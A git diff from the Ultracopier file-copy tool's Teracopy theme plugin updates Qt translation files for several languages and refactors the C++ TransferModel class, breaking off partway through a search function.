--- a/plugins-alternative/Themes/Teracopy/Languages/it/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/it/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0" language="it" sourcelanguage="en">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation>Totale: %1 di %2</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation>%1 di %2</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation>%1% fatto</translation>
</message>
@@ -24,27 +24,27 @@
<message>
<location filename="../../interface.ui" line="159"/>
<source>&amp;More</source>
- <translation>Di più</translation>
+ <translation>Alt&amp;o</translation>
</message>
<message>
<location filename="../../interface.ui" line="172"/>
<source>...</source>
- <translation></translation>
+ <translation>...</translation>
</message>
<message>
<location filename="../../interface.ui" line="210"/>
<source>&amp;Pause</source>
- <translation>Pausa</translation>
+ <translation>&amp;Pausa</translation>
</message>
<message>
<location filename="../../interface.ui" line="232"/>
<source>&amp;Skip</source>
- <translation>Saltare</translation>
+ <translation>&amp;Salta</translation>
</message>
<message>
<location filename="../../interface.ui" line="251"/>
<source>&amp;Cancel</source>
- <translation>Annullare</translation>
+ <translation>&amp;Annulla</translation>
</message>
<message>
<location filename="../../interface.ui" line="281"/>
@@ -57,7 +57,7 @@ p, li { white-space: pre-wrap; }
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:&apos;Sans Serif&apos;; font-size:9pt; font-weight:400; font-style:normal;&quot;&gt;
-&lt;p style=&quot; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;&quot;&gt;&lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;&lt;span style=&quot; font-size:8pt; text-decoration: underline; color:#0057ae;&quot;&gt;Sostenere Ultracopier&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+&lt;p style=&quot; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;&quot;&gt;&lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;&lt;span style=&quot; font-size:8pt; text-decoration: underline; color:#0057ae;&quot;&gt;Supporto Ultracopier&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
</message>
<message>
<location filename="../../interface.ui" line="308"/>
@@ -72,17 +72,17 @@ p, li { white-space: pre-wrap; }
<message>
<location filename="../../interface.ui" line="326"/>
<source>Move file(s)</source>
- <translation>Spostare file(s)</translation>
+ <translation>Sposta file</translation>
</message>
<message>
<location filename="../../interface.ui" line="335"/>
<source>Move folder</source>
- <translation>Spostare la cartella</translation>
+ <translation>Sposta la cartella</translation>
</message>
<message>
<location filename="../../interface.ui" line="344"/>
<source>Copy file(s)</source>
- <translation>Copiare il file(s)</translation>
+ <translation>Copia file</translation>
</message>
<message>
<location filename="../../interface.ui" line="353"/>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/ja/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/ja/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/ja/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/ja/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/ko/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/ko/translation.ts
index 6c66c5a..06946e9 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/ko/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/ko/translation.ts
@@ -2,9 +2,9 @@
<!DOCTYPE TS>
<TS version="2.0" language="ko_KR">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="+76"/>
+ <location filename="../../interface.cpp" line="+95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished">전체: %3 / %2 {1 ?}</translation>
</message>
@@ -14,7 +14,7 @@
<translation type="unfinished">%1 / %2</translation>
</message>
<message>
- <location line="+135"/>
+ <location line="+154"/>
<source>%1% done</source>
<translation type="unfinished">%1% 완료</translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/nl/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/nl/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/nl/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/nl/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/no/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/no/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/no/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/no/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/pl/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/pl/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/pl/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/pl/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/ru/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/ru/translation.ts
index 1219c56..db1059e 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/ru/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/ru/translation.ts
@@ -2,21 +2,21 @@
<!DOCTYPE TS>
<TS version="2.0" language="ru" sourcelanguage="et">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
- <translation>Всего: %1 из %2</translation>
+ <translation type="unfinished">Всего: %1 из %2</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
- <translation>%1 из %2</translation>
+ <translation type="unfinished">%1 из %2</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
- <translation>%1% сделанный</translation>
+ <translation type="unfinished">%1% сделанный</translation>
</message>
</context>
<context>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/th/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/th/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/th/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/th/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/tr/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/tr/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/tr/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/tr/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/zh/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/zh/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/zh/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/zh/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/TransferModel.cpp b/plugins-alternative/Themes/Teracopy/TransferModel.cpp
index 569d31c..24812a0 100644
--- a/plugins-alternative/Themes/Teracopy/TransferModel.cpp
+++ b/plugins-alternative/Themes/Teracopy/TransferModel.cpp
@@ -6,145 +6,146 @@
TransferModel::TransferModel()
{
- iconStart=QIcon(":/resources/player_play.png");
- iconPause=QIcon(":/resources/player_pause.png");
- iconStop=QIcon(":/resources/checkbox.png");
- currentIndexSearch=0;
- haveSearchItem=false;
+ iconStart=QIcon(":/Themes/Teracopy/resources/player_play.png");
+ iconPause=QIcon(":/Themes/Teracopy/resources/player_pause.png");
+ iconStop=QIcon(":/Themes/Teracopy/resources/checkbox.png");
+ currentIndexSearch=0;
+ haveSearchItem=false;
+ facilityEngine=NULL;
}
int TransferModel::columnCount( const QModelIndex& parent ) const
{
- return parent == QModelIndex() ? COLUMN_COUNT : 0;
+ return parent == QModelIndex() ? COLUMN_COUNT : 0;
}
QVariant TransferModel::data( const QModelIndex& index, int role ) const
{
- int row,column;
- row=index.row();
- column=index.column();
- if(index.parent()!=QModelIndex() || row < 0 || row >= transfertItemList.count() || column < 0 || column >= COLUMN_COUNT)
- return QVariant();
+ int row,column;
+ row=index.row();
+ column=index.column();
+ if(index.parent()!=QModelIndex() || row < 0 || row >= transfertItemList.count() || column < 0 || column >= COLUMN_COUNT)
+ return QVariant();
- const transfertItem& item = transfertItemList[row];
- if(role==Qt::UserRole)
- return item.id;
- else if(role==Qt::DisplayRole)
- {
- switch(column)
- {
- case 0:
- return item.source;
- break;
- case 1:
- return item.size;
- break;
- case 2:
- return item.destination;
- break;
- default:
- return QVariant();
- }
- }
- else if(role==Qt::DecorationRole)
- {
- switch(column)
- {
- case 0:
- /*if(item.done)
- return iconStop;
- else */if(stopId.contains(item.id))
- return iconPause;
- else if(startId.contains(item.id))
- return iconStart;
- else
- return QVariant();
- break;
- default:
- return QVariant();
- }
- }
- else if(role==Qt::BackgroundRole)
- {
- if(!search_text.isEmpty() && (item.source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || item.destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1))
- {
- if(haveSearchItem && searchId==item.id)
- return QColor(255,150,150,100);
- else
- return QColor(255,255,0,100);
- }
- else
- return QVariant();
- }
- return QVariant();
+ const transfertItem& item = transfertItemList[row];
+ if(role==Qt::UserRole)
+ return item.id;
+ else if(role==Qt::DisplayRole)
+ {
+ switch(column)
+ {
+ case 0:
+ return item.source;
+ break;
+ case 1:
+ return item.size;
+ break;
+ case 2:
+ return item.destination;
+ break;
+ default:
+ return QVariant();
+ }
+ }
+ else if(role==Qt::DecorationRole)
+ {
+ switch(column)
+ {
+ case 0:
+ /*if(item.done)
+ return iconStop;
+ else */if(stopId.contains(item.id))
+ return iconPause;
+ else if(startId.contains(item.id))
+ return iconStart;
+ else
+ return QVariant();
+ break;
+ default:
+ return QVariant();
+ }
+ }
+ else if(role==Qt::BackgroundRole)
+ {
+ if(!search_text.isEmpty() && (item.source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || item.destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1))
+ {
+ if(haveSearchItem && searchId==item.id)
+ return QColor(255,150,150,100);
+ else
+ return QColor(255,255,0,100);
+ }
+ else
+ return QVariant();
+ }
+ return QVariant();
}
int TransferModel::rowCount( const QModelIndex& parent ) const
{
- return parent == QModelIndex() ? transfertItemList.count() : 0;
+ return parent == QModelIndex() ? transfertItemList.count() : 0;
}
quint64 TransferModel::firstId()
{
- if(transfertItemList.count()>0)
- return transfertItemList[0].id;
- else
- return 0;
+ if(transfertItemList.count()>0)
+ return transfertItemList[0].id;
+ else
+ return 0;
}
QVariant TransferModel::headerData( int section, Qt::Orientation orientation, int role ) const
{
- if ( role == Qt::DisplayRole && orientation == Qt::Horizontal && section >= 0 && section < COLUMN_COUNT ) {
- switch ( section ) {
- case 0:
- return facilityEngine->translateText("Source");
- case 1:
- return facilityEngine->translateText("Size");
- case 2:
- return facilityEngine->translateText("Destination");
- }
- }
+ if ( role == Qt::DisplayRole && orientation == Qt::Horizontal && section >= 0 && section < COLUMN_COUNT ) {
+ switch ( section ) {
+ case 0:
+ return facilityEngine->translateText("Source");
+ case 1:
+ return facilityEngine->translateText("Size");
+ case 2:
+ return facilityEngine->translateText("Destination");
+ }
+ }
- return QAbstractTableModel::headerData( section, orientation, role );
+ return QAbstractTableModel::headerData( section, orientation, role );
}
bool TransferModel::setData( const QModelIndex& index, const QVariant& value, int role )
{
- row=index.row();
- column=index.column();
- if(index.parent()!=QModelIndex() || row < 0 || row >= transfertItemList.count() || column < 0 || column >= COLUMN_COUNT)
- return false;
+ row=index.row();
+ column=index.column();
+ if(index.parent()!=QModelIndex() || row < 0 || row >= transfertItemList.count() || column < 0 || column >= COLUMN_COUNT)
+ return false;
- transfertItem& item = transfertItemList[row];
- if(role==Qt::UserRole)
- {
- item.id=value.toULongLong();
- return true;
- }
- else if(role==Qt::DisplayRole)
- {
- switch(column)
- {
- case 0:
- item.source=value.toString();
- emit dataChanged(index,index);
- return true;
- break;
- case 1:
- item.size=value.toString();
- emit dataChanged(index,index);
- return true;
- break;
- case 2:
- item.destination=value.toString();
- emit dataChanged(index,index);
- return true;
- break;
- default:
- return false;
- }
- }
- return false;
+ transfertItem& item = transfertItemList[row];
+ if(role==Qt::UserRole)
+ {
+ item.id=value.toULongLong();
+ return true;
+ }
+ else if(role==Qt::DisplayRole)
+ {
+ switch(column)
+ {
+ case 0:
+ item.source=value.toString();
+ emit dataChanged(index,index);
+ return true;
+ break;
+ case 1:
+ item.size=value.toString();
+ emit dataChanged(index,index);
+ return true;
+ break;
+ case 2:
+ item.destination=value.toString();
+ emit dataChanged(index,index);
+ return true;
+ break;
+ default:
+ return false;
+ }
+ }
+ return false;
}
/*
@@ -152,290 +153,376 @@ bool TransferModel::setData( const QModelIndex& index, const QVariant& value, in
Return[1]: totalSize
Return[2]: currentFile
*/
-QList<quint64> TransferModel::synchronizeItems(const QList<returnActionOnCopyList>& returnActions)
+QList<quint64> TransferModel::synchronizeItems(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions)
{
- loop_size=returnActions.size();
- index_for_loop=0;
- totalFile=0;
- totalSize=0;
- currentFile=0;
- emit layoutAboutToBeChanged();
- while(index_for_loop<loop_size)
- {
- const returnActionOnCopyList& action=returnActions.at(index_for_loop);
- switch(action.type)
- {
- case AddingItem:
- {
- transfertItem newItem;
- newItem.id=action.addAction.id;
- newItem.source=action.addAction.sourceFullPath;
- newItem.size=facilityEngine->sizeToString(action.addAction.size);
- newItem.destination=action.addAction.destinationFullPath;
+ loop_size=returnActions.size();
+ index_for_loop=0;
+ totalFile=0;
+ totalSize=0;
+ currentFile=0;
+ emit layoutAboutToBeChanged();
+ while(index_for_loop<loop_size)
+ {
+ const Ultracopier::ReturnActionOnCopyList& action=returnActions.at(index_for_loop);
+ switch(action.type)
+ {
+ case Ultracopier::AddingItem:
+ {
+ transfertItem newItem;
+ newItem.id=action.addAction.id;
+ newItem.source=action.addAction.sourceFullPath;
+ newItem.size=facilityEngine->sizeToString(action.addAction.size);
+ newItem.destination=action.addAction.destinationFullPath;
// newItem.done=false;
- transfertItemList<<newItem;
- totalFile++;
- totalSize+=action.addAction.size;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, size: %2, name: %3").arg(action.addAction.id).arg(action.addAction.size).arg(action.addAction.sourceFullPath));
- }
- break;
- case MoveItem:
- {
- //bool current_entry=
- if(action.userAction.position<0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- if(action.userAction.position>(transfertItemList.size()-1))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- if(action.userAction.moveAt<0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- if(action.userAction.moveAt>(transfertItemList.size()-1))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- transfertItemList.move(action.userAction.position,action.userAction.moveAt);
- }
- break;
- case RemoveItem:
- {
- if(currentIndexSearch>0 && action.userAction.position<=currentIndexSearch)
- currentIndexSearch--;
- if(action.userAction.position<0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- if(action.userAction.position>(transfertItemList.size()-1))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- transfertItemList.removeAt(action.userAction.position);
- currentFile++;
- startId.remove(action.addAction.id);
- stopId.remove(action.addAction.id);
- }
- break;
- case PreOperation:
- {
- ItemOfCopyListWithMoreInformations tempItem;
- tempItem.currentProgression=0;
- tempItem.generalData=action.addAction;
- tempItem.actionType=action.type;
- internalRunningOperation[action.addAction.id]=tempItem;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("set for file %1: actionType: PreOperation").arg(action.addAction.id));
- }
- break;
- case Transfer:
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("found entry for file %1: actionType: Transfer").arg(action.addAction.id));
- if(!startId.contains(action.addAction.id))
- startId << action.addAction.id;
- stopId.remove(action.addAction.id);
- if(internalRunningOperation.contains(action.addAction.id))
- internalRunningOperation[action.addAction.id].actionType=action.type;
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("unable to found entry for file %1: actionType: Transfer").arg(action.addAction.id));
- }
- break;
- case PostOperation:
- {
- if(!stopId.contains(action.addAction.id))
- stopId << action.addAction.id;
- startId.remove(action.addAction.id);
- internalRunningOperation.remove(action.addAction.id);
- }
- break;
- case CustomOperation:
- {
- bool custom_with_progression=(action.addAction.size==1);
- //without progression
- if(custom_with_progression)
- {
- if(startId.remove(action.addAction.id))
- if(!stopId.contains(action.addAction.id))
- stopId << action.addAction.id;
- }
- //with progression
- else
- {
- stopId.remove(action.addAction.id);
- if(!startId.contains(action.addAction.id))
- startId << action.addAction.id;
- }
- if(internalRunningOperation.contains(action.addAction.id))
- {
- ItemOfCopyListWithMoreInformations &item=internalRunningOperation[action.addAction.id];
- item.actionType=action.type;
- item.custom_with_progression=custom_with_progression;
- item.currentProgression=0;
- }
- }
- break;
- default:
- //unknow code, ignore it
- break;
- }
- index_for_loop++;
- }
- emit layoutChanged();
- return QList<quint64>() << totalFile << totalSize << currentFile;
+ transfertItemList<<newItem;
+ totalFile++;
+ totalSize+=action.addAction.size;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, size: %2, name: %3").arg(action.addAction.id).arg(action.addAction.size).arg(action.addAction.sourceFullPath));
+ }
+ break;
+ case Ultracopier::MoveItem:
+ {
+ //bool current_entry=
+ if(action.userAction.position<0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.position>(transfertItemList.size()-1))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.moveAt<0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.moveAt>(transfertItemList.size()-1))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ transfertItemList.move(action.userAction.position,action.userAction.moveAt);
+ }
+ break;
+ case Ultracopier::RemoveItem:
+ {
+ if(currentIndexSearch>0 && action.userAction.position<=currentIndexSearch)
+ currentIndexSearch--;
+ if(action.userAction.position<0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.position>(transfertItemList.size()-1))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ transfertItemList.removeAt(action.userAction.position);
+ currentFile++;
+ startId.remove(action.addAction.id);
+ stopId.remove(action.addAction.id);
+ internalRunningOperation.remove(action.addAction.id);
+ }
+ break;
+ case Ultracopier::PreOperation:
+ {
+ ItemOfCopyListWithMoreInformations tempItem;
+ tempItem.currentReadProgression=0;
+ tempItem.currentWriteProgression=0;
+ tempItem.generalData=action.addAction;
+ tempItem.actionType=action.type;
+ internalRunningOperation[action.addAction.id]=tempItem;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("set for file %1: actionType: PreOperation").arg(action.addAction.id));
+ }
+ break;
+ case Ultracopier::Transfer:
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("found entry for file %1: actionType: Transfer").arg(action.addAction.id));
+ if(!startId.contains(action.addAction.id))
+ startId << action.addAction.id;
+ stopId.remove(action.addAction.id);
+ if(internalRunningOperation.contains(action.addAction.id))
+ internalRunningOperation[action.addAction.id].actionType=action.type;
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to found entry for file %1: actionType: Transfer").arg(action.addAction.id));
+ }
+ break;
+ case Ultracopier::PostOperation:
+ {
+ if(!stopId.contains(action.addAction.id))
+ stopId << action.addAction.id;
+ startId.remove(action.addAction.id);
+ }
+ break;
+ case Ultracopier::CustomOperation:
+ {
+ bool custom_with_progression=(action.addAction.size==1);
+ //without progression
+ if(custom_with_progression)
+ {
+ if(startId.remove(action.addAction.id))
+ if(!stopId.contains(action.addAction.id))
+ stopId << action.addAction.id;
+ }
+ //with progression
+ else
+ {
+ stopId.remove(action.addAction.id);
+ if(!startId.contains(action.addAction.id))
+ startId << action.addAction.id;
+ }
+ if(internalRunningOperation.contains(action.addAction.id))
+ {
+ ItemOfCopyListWithMoreInformations &item=internalRunningOperation[action.addAction.id];
+ item.actionType=action.type;
+ item.custom_with_progression=custom_with_progression;
+ item.currentReadProgression=0;
+ item.currentWriteProgression=0;
+ }
+ }
+ break;
+ default:
+ //unknow code, ignore it
+ break;
+ }
+ index_for_loop++;
+ }
+ emit layoutChanged();
+ return QList<quint64>() << totalFile << totalSize << currentFile;
}
void TransferModel::setFacilityEngine(FacilityInterface * facilityEngine)
{
- this->facilityEngine=facilityEngine;
+ this->facilityEngine=facilityEngine;
}
int TransferModel::search(const QString &text,bool searchNext)
{
- emit layoutAboutToBeChanged();
- search_text=text;
- emit layoutChanged();
- if(transfertItemList.size()==0)
- return -1;
- if(text.isEmpty())
- return -1;
- if(searchNext)
- {
- currentIndexSearch++;
- if(currentIndexSearch>=loop_size)
- currentIndexSearch=0;
- }
- index_for_loop=0;
- loop_size=transfertItemList.size();
- while(index_for_loop<loop_size)
- {
- if(transfertItemList.at(currentIndexSearch).source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || transfertItemList.at(currentIndexSearch).destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1)
- {
- haveSearchItem=true;
- searchId=transfertItemList.at(currentIndexSearch).id;
- return currentIndexSearch;
- }
- currentIndexSearch++;
- if(currentIndexSearch>=loop_size)
- currentIndexSearch=0;
- index_for_loop++;
- }
- haveSearchItem=false;
- return -1;
+ emit layoutAboutToBeChanged();
+ search_text=text;
+ emit layoutChanged();
+ if(transfertItemList.size()==0)
+ return -1;
+ if(text.isEmpty())
+ return -1;
+ if(searchNext)
+ {
+ currentIndexSearch++;
+ if(currentIndexSearch>=loop_size)
+ currentIndexSearch=0;
+ }
+ index_for_loop=0;
+ loop_size=transfertItemList.size();
+ while(index_for_loop<loop_size)
+ {
+ if(transfertItemList.at(currentIndexSearch).source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || transfertItemList.at(currentIndexSearch).destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1)
+ {
+ haveSearchItem=true;
+ searchId=transfertItemList.at(currentIndexSearch).id;
+ return currentIndexSearch;
+ }
+ currentIndexSearch++;
+ if(currentIndexSearch>=loop_size)
+ currentIndexSearch=0;
+ index_for_loop++;
+ }
+ haveSearchItem=false;
+ return -1;
}
int TransferModel::searchPrev(const QString &text)
{
- emit layoutAboutToBeChanged();
- search_text=text;
- emit layoutChanged();
- if(transfertItemList.size()==0)
- return -1;
- if(text.isEmpty())
- return -1;
- if(currentIndexSearch==0)
- currentIndexSearch=loop_size-1;
- else
- currentIndexSearch--;
- index_for_loop=0;
- loop_size=transfertItemList.size();
- while(index_for_loop<loop_size)
- {
- if(transfertItemList.at(currentIndexSearch).source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || transfertItemList.at(currentIndexSearch).destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1)
- {
